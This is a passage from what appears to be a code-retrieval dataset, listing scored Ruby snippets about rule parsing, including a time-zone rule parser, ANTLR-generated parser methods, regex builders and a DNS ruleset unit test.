"text": "def parse_rule(s, type)\n check_scan(s, /,(?: (?: J(\\d+) ) | (\\d+) | (?: M(\\d+)\\.(\\d)\\.(\\d) ) )/x)\n julian_day_of_year = s[1]\n absolute_day_of_year = s[2]\n month = s[3]\n week = s[4]\n day_of_week = s[5]\n\n if s.scan(/\\//)\n check_scan(s, /([-+]?\\d+)(?::(\\d+)(?::(\\d+))?)?/)\n transition_at = get_seconds_after_midnight_from_hms(s[1], s[2], s[3])\n else\n transition_at = 7200\n end\n\n begin\n if julian_day_of_year\n JulianDayOfYearTransitionRule.new(julian_day_of_year.to_i, transition_at)\n elsif absolute_day_of_year\n AbsoluteDayOfYearTransitionRule.new(absolute_day_of_year.to_i, transition_at)\n elsif week == '5'\n LastDayOfMonthTransitionRule.new(month.to_i, day_of_week.to_i, transition_at)\n else\n DayOfMonthTransitionRule.new(month.to_i, week.to_i, day_of_week.to_i, transition_at)\n end\n rescue ArgumentError => e\n raise InvalidPosixTimeZone, \"Invalid #{type} rule in POSIX-style time zone string: #{e}\"\n end\n end",
"title": ""
},
{
"docid": "0fc1648e724bb61e852db154a6a2cbc9",
"score": "0.44054136",
"text": "def matcher\n \"match_#{event_type}\"\n end",
"title": ""
},
{
"docid": "1e81a31f7de1b7c15a2313b68b9064ec",
"score": "0.4402324",
"text": "def rsv_xpath\n %(//rsv[#{VALID_SUBTYPES.map{|s| \"@SubType='#{s}'\"}.join(\" or \")}])\n end",
"title": ""
},
{
"docid": "25609867e1b4627658aab508bf702cb4",
"score": "0.44003385",
"text": "def match_axis_abbreviation_suffix(str)\n best = [nil, nil]\n Unit.each do |unit|\n unit.abbreviations.each do |abbrev|\n abbrev_s = abbrev.to_s\n best = abbrev_s, unit if suffix?(abbrev_s, str) and (best.first.nil? or abbrev_s.length > best.first.length)\n end\n end\n best\n end",
"title": ""
},
{
"docid": "46d3da14e2d3f3e9538f7dae0c3a3ef0",
"score": "0.43901935",
"text": "def matched_type; end",
"title": ""
},
{
"docid": "a7b9c7e4871afa955c206b680b2b2a4c",
"score": "0.43867648",
"text": "def x509_certificate_rule_type\n return @x509_certificate_rule_type\n end",
"title": ""
},
{
"docid": "e4c3e08ed9ce01dd35d4fec1c6af723e",
"score": "0.43818066",
"text": "def get_by_type(type_str)\n @list_ids.each do |x|\n if labels = self.class::NSIDs[x[0]] then\n if i = labels.index(type_str) then\n return x[i+1]\n end\n end\n end\n nil\n end",
"title": ""
},
{
"docid": "3051eaded44e987499aacf15b0cbd133",
"score": "0.4380107",
"text": "def get_rule(*p)\n topic_name, subscription_name, rule_name = _rule_args(*p)\n\n result = resource_entry(:rule, topic_name, subscription_name, rule_name)\n result.topic = topic_name\n result.subscription = subscription_name\n result\n end",
"title": ""
},
{
"docid": "8501afb676acdb984e724056ec8911a4",
"score": "0.43800423",
"text": "def query_string attr\n qs = self.get_attribute_field attr, :value\n qs_rule = self.get_attribute_field attr, :rule\n if qs && (qs_rule == \"fuzzy\")\n index.query(match: {attr=> {query: qs, fuzziness:2, prefix_length:1}})\n elsif qs\n index.query(query_string: {fields: [attr], query: qs})\n else\n nil\n end\n end",
"title": ""
},
{
"docid": "08d2a996dacda79e625f027aad043aee",
"score": "0.4379049",
"text": "def name\n rule.name\n end",
"title": ""
},
{
"docid": "3cae74be45e8152ad248f0b142146484",
"score": "0.43777347",
"text": "def subfamily_name\n if weight == :normal && style\n style\n elsif weight || style\n [weight, style].compact.join('_').to_sym\n else\n :normal\n end\n end",
"title": ""
},
{
"docid": "53b1b429a15972332d5c08b193aa9f18",
"score": "0.4377626",
"text": "def matching_rule(params)\n @rules.each do |rule|\n if rule.match? params\n return rule\n end\n end\n return nil\n end",
"title": ""
},
{
"docid": "3d3639af0a2ed7fa8bf78c62781b0149",
"score": "0.43688503",
"text": "def rule_from_golly(string)\n rule_from_arrays(*golly_to_array(string))\n end",
"title": ""
},
{
"docid": "a70beeb0447148420946139dafd8cbe4",
"score": "0.43658295",
"text": "def find_rule(sym)\n @rules[sym]\n end",
"title": ""
},
{
"docid": "8c693311ab7b60171864cdaeae8a1930",
"score": "0.43622077",
"text": "def to_regex()\n Table.validate_ruleset(self, @rules)\n regex_map = Hash.new\n prefix = Convert.maybe_pattern_to_regex(@rules.fetch(:prefix, nil), space: :right)\n prefix_required = Convert.maybe_pattern_to_regex(@rules.fetch(:prefix_required, nil), space: :right, required_match: true)\n suffix = Convert.maybe_pattern_to_regex(@rules.fetch(:suffix, nil))\n name_rules = @rules.fetch(:name, false)\n # name rules are different, as they can be quite convoluted\n if prefix_required.empty?\n regex_map[:name] = Convert.ruleset_to_regex(name_rules, prefix, suffix) unless name_rules.eql?(false)\n else\n regex_map[:name] = Convert.ruleset_to_regex(name_rules, prefix_required, suffix) unless name_rules.eql?(false)\n end\n @rules.select do |kind| (%i[name prefix prefix_required] & [kind]).empty? end.each do |kind, ruleset|\n next if ruleset.empty?\n regex_map[kind] = Validate.regexp(self, kind,\n Convert.ruleset_to_regex(ruleset))\n end\n regex_map\n end",
"title": ""
},
{
"docid": "e6ee11f4c715f9e3ab3a3f06b7403410",
"score": "0.4359099",
"text": "def completeness\n\t\t\t# TODO: may be better to do this by referencing the parent class?\n\t\t\tl = match_length\n\t\t\tl.to_f/domain_length.to_f\n\t\tend",
"title": ""
},
{
"docid": "dc9421f8049cac01f2904205fdfc31f8",
"score": "0.435769",
"text": "def correspondence_type_for_business_unit_assignment\n correspondence_type\n end",
"title": ""
},
{
"docid": "dc9421f8049cac01f2904205fdfc31f8",
"score": "0.435769",
"text": "def correspondence_type_for_business_unit_assignment\n correspondence_type\n end",
"title": ""
},
{
"docid": "864a475e4b14087445c82fca6ffdd4c2",
"score": "0.43533945",
"text": "def rule\n @rule ||= resolve!\n end",
"title": ""
},
{
"docid": "864a475e4b14087445c82fca6ffdd4c2",
"score": "0.43533945",
"text": "def rule\n @rule ||= resolve!\n end",
"title": ""
},
{
"docid": "16b48de7cf69ca05fea0187f212d50aa",
"score": "0.43488628",
"text": "def get_rules\n # ensure we substitute all variables\n substitute_variables if @string_to_var\n @rules\n end",
"title": ""
},
{
"docid": "049294d7b5defb8e7128c9014b018269",
"score": "0.43466526",
"text": "def test_12_get_ruleset\n ruleset = @@dns.get_ruleset\n ruleset.sort! { |a, b| a[:pattern] <=> b[:pattern] }\n\n assert_equal(Array, ruleset.class)\n assert_equal(5, ruleset.length)\n\n check_rule(ruleset[0], {:pattern => '(?-mix:i\\\\.(love|hate)\\\\.beef\\\\.com?)',\n :type => 'A',\n :response => '9.9.9.9'})\n\n check_rule(ruleset[1], {:pattern => 'be.ef', :type => 'A', :response => '1.1.1.1'})\n check_rule(ruleset[2], {:pattern => 'dead.beef', :type => 'A', :response => '2.2.2.2'})\n check_rule(ruleset[3], {:pattern => 'foo.bar', :type => 'A', :response => '1.2.3.4'})\n check_rule(ruleset[4], {:pattern => 'j.random.hacker', :type => 'A', :response => '4.2.4.2'})\n end",
"title": ""
},
{
"docid": "721d71a49dd7008b93548f75692d1095",
"score": "0.4342078",
"text": "def perform_subway_regex(str, zone = \"Paris (75)\")\n subway_infos = []\n if zone == \"Paris (75)\"\n subways = YAML.load_file(\"./db/data/subways.yml\")\n subways[\"stations\"].each do |subway|\n subway_infos.push(subway) if str.remove_acc_scrp.match(/#{subway[\"name\"].remove_acc_scrp}/i).is_a?(MatchData)\n end\n end\n subway_infos.uniq\n end",
"title": ""
},
{
"docid": "56f81613247aa576082be4b5b3b0454e",
"score": "0.4339148",
"text": "def rrule\n rrule_property.map {|prop| prop ? prop.ruby_value : prop}\n end",
"title": ""
},
{
"docid": "56f81613247aa576082be4b5b3b0454e",
"score": "0.4339148",
"text": "def rrule\n rrule_property.map {|prop| prop ? prop.ruby_value : prop}\n end",
"title": ""
},
{
"docid": "31485f641da72f9afaa4a6fe951f52ef",
"score": "0.43379837",
"text": "def type_s\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 18 )\n\n\n return_value = TypeSReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n begin\n # at line \n if @input.peek( 1 ).between?( BOOL, CHAR ) || @input.peek(1) == FLOAT || @input.peek(1) == INTEGER\n @input.consume\n @state.error_recovery = false\n\n else\n mse = MismatchedSet( nil )\n raise mse\n\n end\n\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 18 )\n\n\n end\n\n return return_value\n end",
"title": ""
},
{
"docid": "f81f05bb62bd80c59c6c2228d7fbcc87",
"score": "0.43372223",
"text": "def census_subdivision_type\n self.class.census_subdivision_types.fetch(\"ocd-division/country:ca/csd:#{census_subdivision_type_id}\").sub(/\\ATV\\z/, \"T\").sub(/\\AC\\z/, \"CY\")\n end",
"title": ""
},
{
"docid": "b3536d2008157ed7c50d52b477fc258e",
"score": "0.43291682",
"text": "def to_rule\n call.to_rule\n end",
"title": ""
},
{
"docid": "a77713fe9956486d6fcea2df35d7d11a",
"score": "0.43271285",
"text": "def upper\r\n @attr_expression.upper\r\n end",
"title": ""
},
{
"docid": "4cdcafc7c57e625c0a140e4390cbe78c",
"score": "0.4323235",
"text": "def lookup_rule(subject)\n case subject\n when Symbol, Module\n r = subjects[subject] || subjects[:all] || NullRule\n else\n subjects[subject.class] || NullRule\n end\n end",
"title": ""
},
{
"docid": "a1f29be1a9ae0830f46e4b02778f7030",
"score": "0.43153608",
"text": "def main_expr\n # determine which regexp to use: class or subclass\n case class_type\n when :subclass\n 'class' + SPACES + \"#{name}#{postfix}\" + OPT_SPACES + '<' + OPT_SPACES + \"#{superclass}\" + ANY_GROUP \n when :class\n \"#{type}\" + SPACES + \"#{name}#{postfix}\" + SPACES + ANY_GROUP\n else\n raise \"Class type must be either :class or :subclass, was #{class_type}\" \n end\n end",
"title": ""
},
{
"docid": "a5a0c47fb7936724fabb78798bd71367",
"score": "0.43040428",
"text": "def condition_is_of_type_name\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 210 )\n return_value = ConditionIsOfTypeNameReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n condition_is_of_type_name_start_index = @input.index\n\n root_0 = nil\n keyONLY1179 = nil\n type_name1180 = nil\n\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return return_value\n end\n root_0 = @adaptor.create_flat_list\n\n\n # at line 1093:4: ( keyONLY )? type_name\n # at line 1093:4: ( keyONLY )?\n alt_308 = 2\n look_308_0 = @input.peek( 1 )\n\n if ( look_308_0 == ID )\n look_308_1 = @input.peek( 2 )\n\n if ( look_308_1.between?( ID, DOUBLEQUOTED_STRING ) )\n alt_308 = 1\n end\n end\n case alt_308\n when 1\n # at line 1093:6: keyONLY\n @state.following.push( TOKENS_FOLLOWING_keyONLY_IN_condition_is_of_type_name_7066 )\n keyONLY1179 = keyONLY\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, keyONLY1179.tree )\n end\n\n end\n @state.following.push( TOKENS_FOLLOWING_type_name_IN_condition_is_of_type_name_7071 )\n type_name1180 = type_name\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, type_name1180.tree )\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 210 )\n memoize( __method__, condition_is_of_type_name_start_index, success ) if @state.backtracking > 0\n\n end\n \n return return_value\n end",
"title": ""
},
{
"docid": "4e87bfce25b715c44e30d5a901d713c9",
"score": "0.43020862",
"text": "def type\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 28 )\n\n\n return_value = TypeReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n\n begin\n # at line \n if @input.peek(1) == ID || @input.peek(1) == R_BOOL || @input.peek( 1 ).between?( R_FLOAT, R_STRING ) || @input.peek(1) == VOID\n @input.consume\n @state.error_recovery = false\n\n else\n mse = MismatchedSet( nil )\n raise mse\n\n end\n\n\n\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 28 )\n\n\n end\n\n return return_value\n end",
"title": ""
},
{
"docid": "c148b842c9913a5f7d8706271f879cbe",
"score": "0.42937428",
"text": "def format_rule(rule)\n rule.class\nend",
"title": ""
},
{
"docid": "82bccdc0b503ee8d66af04229d9c9841",
"score": "0.42852527",
"text": "def to_citrus # :nodoc:\n rule_name.to_s\n end",
"title": ""
},
{
"docid": "589b0b6c52d7528926f459ae2db251ef",
"score": "0.42834094",
"text": "def applicable_rules\n BaseMatchRule.subclasses\n end",
"title": ""
},
{
"docid": "b96769b23d94a8404bc82097f60b5b8e",
"score": "0.42715135",
"text": "def type_spec\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 4 )\n return_value = TypeSpecReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n type_spec_start_index = @input.index\n\n root_0 = nil\n string_literal19 = nil\n set21 = nil\n oracle_object_name20 = nil\n\n tree_for_string_literal19 = nil\n tree_for_set21 = nil\n\n success = false # flag used for memoization\n\n begin\n # rule memoization\n if @state.backtracking > 0 and already_parsed_rule?( __method__ )\n success = true\n return return_value\n end\n root_0 = @adaptor.create_flat_list\n\n\n # at line 75:4: 'TYPE' oracle_object_name ( 'IS' | 'AS' )\n string_literal19 = match( T__16, TOKENS_FOLLOWING_T__16_IN_type_spec_270 )\n if @state.backtracking == 0\n\n tree_for_string_literal19 = @adaptor.create_with_payload( string_literal19 )\n @adaptor.add_child( root_0, tree_for_string_literal19 )\n\n end\n @state.following.push( TOKENS_FOLLOWING_oracle_object_name_IN_type_spec_272 )\n oracle_object_name20 = oracle_object_name\n @state.following.pop\n if @state.backtracking == 0\n @adaptor.add_child( root_0, oracle_object_name20.tree )\n end\n set21 = @input.look\n if @input.peek( 1 ).between?( T__14, T__15 )\n @input.consume\n if @state.backtracking == 0\n @adaptor.add_child( root_0, @adaptor.create_with_payload( set21 ) )\n end\n @state.error_recovery = false\n else\n @state.backtracking > 0 and raise( ANTLR3::Error::BacktrackingFailed )\n\n mse = MismatchedSet( nil )\n raise mse\n end\n\n\n # syntactic predicate action gate test\n if @state.backtracking == 0\n # --> action\n @object_type = 'TYPE' unless @object_type \n # <-- action\n end\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n success = true\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 4 )\n memoize( __method__, type_spec_start_index, success ) if @state.backtracking > 0\n\n end\n \n return return_value\n end",
"title": ""
},
{
"docid": "c436e438ee51be456e5f669fd51f030c",
"score": "0.42700174",
"text": "def [](rule)\n ref(rule.to_s)\n end",
"title": ""
}
] |
59f9a3f81813919bff4cbb4a42809e1f | If element don't have anything in the corresponding previous key that means its head | [
{
"docid": "de5d9aefb5f982a790ddbf29925b91c3",
"score": "0.585707",
"text": "def swap(_first_key_previous, _first_key_element, _second_key_previous, _second_key_element)\n if _first_key_element.present? and _second_key_element.present?\n if _first_key_previous.blank? #Frist key element is head element\n temp_element = _second_key_element.next\n\n _second_key_element.next = _first_key_element.next\n self.head = _second_key_element\n\n _first_key_element.next = temp_element\n _second_key_previous.next = _first_key_element\n elsif _second_key_previous.blank? #Second key element is head element\n temp_element = _first_key_element.next\n\n _first_key_element.next = _second_key_element.next\n self.head = _first_key_element\n\n _second_key_element.next = temp_element\n _first_key_previous.next = _second_key_element\n else # None of the elemenet is head\n\n # Not sure what was the issue in this login\n # temp_element = _second_key_element.next\n\n # _second_key_element.next = _first_key_element.next\n # _first_key_previous.next = _second_key_element\n\n # _first_key_element.next = temp_element\n # _second_key_previous.next = _first_key_element\n\n\n _first_key_previous.next = _second_key_element\n _second_key_previous.next = _first_key_element\n\n temp_element = _second_key_element.next\n _second_key_element.next = _first_key_element.next\n _first_key_element.next = temp_element\n\n end\n else\n puts \"element not found\"\n end\n end",
"title": ""
}
] | [
{
"docid": "03e5493842d3cb0cea21bd430b704985",
"score": "0.6737062",
"text": "def prev node_or_key\n key = String.new\n case node_or_key\n when Node\n key = node_or_key.key\n when String\n key = node_or_key\n else\n p \"only accept String or Node type\"\n end\n\n prev = node = @head\n while node.next_ != nil && node.key != key\n prev = node\n node = node.next_\n end\n prev == node ? nil : prev\n end",
"title": ""
},
{
"docid": "224b99fc129229d1a96826cc0d856559",
"score": "0.6327677",
"text": "def previous_element; end",
"title": ""
},
{
"docid": "e8ebfb8971e8fceaa70af7e5c56bf468",
"score": "0.6294898",
"text": "def extract_head\n\t\tif(!empty)\n\t\t\taux = @head\n\t\t\t@head = @head[\"next\"]\n\n\t\t\tif(@head != nil)\n\t\t\t\t@head[\"prev\"] = nil\n\t\t\telse\n\t\t\t\t@tail = nil\n\t\t\tend\n\t\t\n\t\t\t@size -= 1\n\t\t\taux[\"next\"] = nil\n\t\t\taux[\"value\"]\n\n\t\telse\n\t\t\tempty_to_s\n\t\tend\n\n\tend",
"title": ""
},
{
"docid": "b157a9f95545586eda4665c9deadb997",
"score": "0.611334",
"text": "def extract_head\n\t\taux = @head.value\n\t\tif(@head == @tail) \n\t\t @head,@tail = nil\n\t\telse \n\t\t @head = @head[:next]\n\t\t @head[:prev] = nil\n\t\tend\t\t\n\t\treturn aux\n\tend",
"title": ""
},
{
"docid": "1ff96e382cfb680cc1c1385921325e75",
"score": "0.6099371",
"text": "def extract_head()\n if @head.nil?\n raise RuntimeError, \"La lista está vacía\"\n else\n if @head == @tail\n @head, @tail = nil\n else\n @head = @head[:next]\n @head[:prev] = nil\n end\n\n end\n end",
"title": ""
},
{
"docid": "f028d568e794690df83a531037668e25",
"score": "0.6006926",
"text": "def remove_duplicates(head)\n return nil unless head\n visited = Set.new\n visited.add(head.key)\n prev_node = head\n current_node = head.next\n while current_node\n # when adding to a set via add?, a nil signals existence in set\n unless visited.add?(current_node.key)\n # no need to change prev_node\n prev_node.next = current_node.next\n else\n prev_node.next = current_node\n prev_node = current_node\n end\n current_node = current_node.next\n end\n \n return head\nend",
"title": ""
},
{
"docid": "7c5e9b05d7fc95e35984100add7b89ab",
"score": "0.59650767",
"text": "def head?\n @prev.nil?\n end",
"title": ""
},
{
"docid": "19e795088355ee7d3f94e379666f0968",
"score": "0.5913275",
"text": "def remove_duplicate(head)\n existing = [head.data]\n current = head\n while current.next_item != nil do\n if existing.include?(current.next_item.data)\n if current.next_item.next_item\n current.next_item = current.next_item.next_item\n else\n current.next_item = nil\n break\n end\n else\n existing << current.data\n end\n\n current = current.next_item\n end\n\n head\nend",
"title": ""
},
{
"docid": "037056f90e60c9da87052afba245d90c",
"score": "0.58979934",
"text": "def extract_head\r\n aux = @head.value\r\n @head = @head.next\r\n @head.prev = nil\r\n return aux\r\n end",
"title": ""
},
{
"docid": "14cfb309a76d4a7557255e81f7c49fed",
"score": "0.589608",
"text": "def prev_element_of(node)\n\t\treturn valid(node) ? node.previous_element : nil\n\tend",
"title": ""
},
{
"docid": "f0877dc043c45ba49be91738116e2dd3",
"score": "0.5877481",
"text": "def remove_duplicate_inspired_book(head)\n current = head\n previous = nil\n keep_previous = false\n while current != nil do\n runner = head\n while runner != current\n if runner.data == current.data\n previous.next_item = current.next_item\n keep_previous = true\n break\n else\n runner = runner.next_item\n keep_previous = false\n end\n end\n previous = current unless keep_previous\n current = current.next_item\n end\n\n head\nend",
"title": ""
},
{
"docid": "8b5fac7c33a1dbb3ab1e042abb54bb5c",
"score": "0.5870155",
"text": "def prior_component( component )\n last = nil\n @contents.each do |c|\n if c.is_a?( Symbol )\n space.role( c ).each do |rc|\n return last if rc.equal?( component ) #identity\n last = rc\n end\n else\n return last if c.equal?( component ) #identity\n last = c\n end\n end\n nil\n end",
"title": ""
},
{
"docid": "6497cbf1b295969ec41c3f95fa37b4f9",
"score": "0.58162564",
"text": "def previous_is? &block\n first? ? nil : yield(element, self.previous)\n end",
"title": ""
},
{
"docid": "3e2fb5608fded6ebe303ad9c21b5ac41",
"score": "0.57736254",
"text": "def detect_cycle(head)\n hash_map = {}\n\n while head\n if hash_map.keys.include?(head)\n return head\n end\n\n hash_map[head] = 0\n head = head.next\n end\n\n nil\nend",
"title": ""
},
{
"docid": "0b9fef4949c20fcdbdc1b196485a0b2e",
"score": "0.5742734",
"text": "def extract_head () # extraemos por cabeza ( este es el que usaremos para practica 7)\n if (@head==nil)\n puts \"Sin elementos en la lista\"\n else\n\t\taux = @head\n @head = @head.nest\n\t aux.nest = nil\n\t if(@head== nil)\n\t\t @tail=nil\n\t else\n \t@head.prev = nil\n\t end\n\t return aux\n \n end\n end",
"title": ""
},
{
"docid": "c8afcd0aeb676eb243664c0ea9794c7a",
"score": "0.5728945",
"text": "def detect_cycle_with_hash(head)\n seen_nodes = {}\n\n current_node = head\n\n while current_node != nil\n if seen_nodes[current_node.object_id]\n return true\n end\n\n seen_nodes[current_node.object_id] = true\n current_node = current_node.next_node\n end\n\n return false\nend",
"title": ""
},
{
"docid": "3abc824ffe4d0b5994c292a0185be8da",
"score": "0.57011074",
"text": "def first_key\n first = node_next(@head, 0)\n return first ? first[1] : nil\n end",
"title": ""
},
{
"docid": "3abc824ffe4d0b5994c292a0185be8da",
"score": "0.57011074",
"text": "def first_key\n first = node_next(@head, 0)\n return first ? first[1] : nil\n end",
"title": ""
},
{
"docid": "e10d00575b3702da02b0b282b9177c4b",
"score": "0.56644684",
"text": "def extraer_final()\n @head=head.prev\n end",
"title": ""
},
{
"docid": "a0656bed11af1d86157b594faadce2e7",
"score": "0.5647488",
"text": "def extract_head\n raise \"Error la lista no puede estar vacia\" unless (@nodos > 1)\n @nodos = @nodos-1\n segundo = @head.next\n segundo.prev = nil\n oldhead = @head\n @head = segundo\n oldhead\n end",
"title": ""
},
{
"docid": "0e401ac20bff1af19e3717279e7976b7",
"score": "0.5633494",
"text": "def remove_duplicates(head)\n nodes_seen = {}\n\n ptr = head\n while (ptr != nil)\n nodes_seen[ptr.value] = 1\n \n if nodes_seen[ptr.next.value] != nil\n ptr.put_next(ptr.next.next)\n end\n\n ptr = ptr.next\n end\nend",
"title": ""
},
{
"docid": "b3cd098b69446f46ae70aa4a10bf62f1",
"score": "0.56266224",
"text": "def previous_differs_on? field\n if first?\n nil\n else\n element.send(field) != previous.send(field)\n end\n end",
"title": ""
},
{
"docid": "d49864aa52f98fad560dbe4f20dbbd05",
"score": "0.5623959",
"text": "def has_prev?()\n if @prev_node\n return true\n else\n return false\n end\n end",
"title": ""
},
{
"docid": "1ee2280dff1b19b8906fde929ff28f09",
"score": "0.5616186",
"text": "def has_cycle(head)\n curr = head\n seen_node = {}\n while(curr)\n if(seen_node.has_key?(curr))\n return true\n else \n seen_node[curr] = :true\n end\n curr = curr.next\n end\n false\nend",
"title": ""
},
{
"docid": "d595f97dde41e542cd562c244c2fb509",
"score": "0.5601135",
"text": "def get_previous_node(item)\n raise ArgumentError, 'Previous node does not exist' if @length < 2\n\n previous_node = @front_node\n\n until previous_node.next_node.nil? || previous_node.next_node.item == item\n previous_node = previous_node.next_node\n end\n\n unless previous_node.next_node.item == item\n raise ArgumentError, 'Item is not present'\n end\n\n previous_node\n end",
"title": ""
},
{
"docid": "2de8b18fc75e5ecdf64f0f18bfc46e1d",
"score": "0.560012",
"text": "def succ(key, last)\n item = upper_bound(key)\n return nil if item == map_end\n return nil if last && item.key.to_bn >= last.to_bn\n return item.key\n end",
"title": ""
},
{
"docid": "d138f3158edb76704fb0efdc1704472c",
"score": "0.5594995",
"text": "def previous\n first? ? nil : @collection[index - 1]\n end",
"title": ""
},
{
"docid": "31cfacd6877046b9a83c5b3b581bd18a",
"score": "0.5571642",
"text": "def prev_element\n\t\treturn prev_element_of @current_node\n\tend",
"title": ""
},
{
"docid": "829819c4cf2c6c5cb943d9852c204d76",
"score": "0.55532265",
"text": "def first\n @head.lru_next\n end",
"title": ""
},
{
"docid": "0f1ef3a449fc5bab2e43a0dfc26c13f6",
"score": "0.55248576",
"text": "def extract_by_begin()\n if @head == @tail\n \t\t@head, @tail = nil\n else\n @head = @head[:next]\n \t\t@tail = @tail[:prev]\n \t\t@tail[:next] = nil\n end\n end",
"title": ""
},
{
"docid": "e67bb2a155c9f8107ba41b10c00af6ee",
"score": "0.55157864",
"text": "def eliminate_by(k)\n elem = self.head\n prev = elem\n\n k = k-1\n\n while prev != elem.next \n\n k.times do\n prev = elem\n elem = elem.next\n end\n\n prev.next = elem.next\n elem = prev.next\n end\n\n return prev.data\n\n end",
"title": ""
},
{
"docid": "aac205030e68262add9e96f11f7f9158",
"score": "0.5514829",
"text": "def detect_loop(list)\n current = list.head\n visited = Set.new\n until current.nil?\n return current if visited.include? current.hash\n visited << current.hash\n current = current.next\n end\n nil\nend",
"title": ""
},
{
"docid": "d7ae043dec081dc9e2b3a11837beed09",
"score": "0.55147463",
"text": "def remove_dups(head)\n current_node = head\n previous_node = nil\n histogram = Hash.new(0)\n\n until current_node.nil?\n if histogram[current_node].zero?\n histogram[current_node.value] += 1\n previous_node = current_node\n current_node = current_node.next\n else\n previous_node.next = current_node.next\n current_node = previous_node.next\n end\n end\nend",
"title": ""
},
{
"docid": "891eda32dde7b5fbfb2078184372cc6b",
"score": "0.5499694",
"text": "def prev?\n not prev.nil?\n end",
"title": ""
},
{
"docid": "9958c2b0752203db28b3f897bf4812e9",
"score": "0.5495437",
"text": "def kth_to_last(head, k)\n count = 0\n current_node = head\n node_hash = {}\n while current_node\n node_hash[count] = current_node\n count += 1\n current_node = current_node.next\n end\n node_hash[node_hash.keys.size - k].value\nend",
"title": ""
},
{
"docid": "a4c114b2f7810a02bb042f7aadf159c5",
"score": "0.54869735",
"text": "def unoptimized_contains_cycle(head)\n histo = {}\n node = head\n while node\n if histo[node]\n return true\n else\n histo[node] = true\n end\n node = node.next\n end\n false\nend",
"title": ""
},
{
"docid": "d1bf0de9c74fe639c96894131ef916e8",
"score": "0.544715",
"text": "def help_preorder(current)\n result = [] \n return [] if current.nil? \n result.push({:key=>current.key, :value => current.value})\n result += help_preorder(current.left)\n result += help_preorder(current.right)\n return result\n end",
"title": ""
},
{
"docid": "261e7a8ee056a8917d728d0afa6da56b",
"score": "0.54422385",
"text": "def prev(object)\n return nil if elements.index(object) == 0\n elements[elements.index(object) - 1]\n end",
"title": ""
},
{
"docid": "d132c570257418e4f5fcf42920bc609f",
"score": "0.54396725",
"text": "def remove_first\n return nil if empty?\n node = @sentinel.next\n e = node.data\n node.next.prev = @sentinel\n @sentinel.next = node.next\n e\n end",
"title": ""
},
{
"docid": "d132c570257418e4f5fcf42920bc609f",
"score": "0.54396725",
"text": "def remove_first\n return nil if empty?\n node = @sentinel.next\n e = node.data\n node.next.prev = @sentinel\n @sentinel.next = node.next\n e\n end",
"title": ""
},
{
"docid": "a627385be903c2fefd01d392b3dd3772",
"score": "0.5428301",
"text": "def hasCycle(head,hash={})\n return false if head.nil? || head.next.nil?\n return true if hash.has_key?(head.next)\n hash[head] = 1\n head = head.next\n hasCycle(head,hash)\nend",
"title": ""
},
{
"docid": "6f1227d4e1317f551cb34a4750413d2d",
"score": "0.5418453",
"text": "def peek_first\n raise 'No such element' if @size == 0\n @head.value\n end",
"title": ""
},
{
"docid": "5e3c8c84780bdeb37f8c18bc68e00e82",
"score": "0.53831446",
"text": "def merge_k_lists(arr)\n new_head, cur = null, null\n\n until arr.empty?\n next_val, idx = nil, 0\n\n arr.each_with_index do |node, i|\n next if node == nil\n if next_val == nil || node.val < next_val\n next_val = node.val\n idx = i\n end\n end\n\n if arr[idx] == nil\n arr.delete_at(idx)\n next\n elsif new_head == nil\n new_head = ListNode.new(next_val)\n cur = new_head\n else\n cur.next = ListNode.new(next_val)\n cur = cur.next\n end\n arr[idx] = arr[idx].next\n end\n new_head\nend",
"title": ""
},
{
"docid": "69cc3a067a39bff8843cdd0ce7e4cedc",
"score": "0.5381307",
"text": "def list_cycles?(head_node)\n\n node_hash = Hash.new([])\n\n current_node = head_node\n while true\n return true if node_hash[current_node.value].include?(current_node)\n return false unless current_node.next\n node_hash[current_node.value].push(current_node)\n current_node = current_node.next\n end\nend",
"title": ""
},
{
"docid": "784b4104e363ef525ba8316c41aceb24",
"score": "0.5374361",
"text": "def first\n @current = self.head if self.head\n @current.value rescue nil\n end",
"title": ""
},
{
"docid": "84f5507c482a0cde8c9f85f5dd2aa564",
"score": "0.53736967",
"text": "def prev(photo_set, miss = {:id => 0})\n return nil if first?(photo_set)\n res = ppsjoin(photo_set).higher_item.photo\n return nil if res.nil?\n return res.prev(photo_set) if res[:id] == miss[:id]\n return res\n end",
"title": ""
},
{
"docid": "bf7fa4f373ecd42a9ffc21b5824428d1",
"score": "0.53685355",
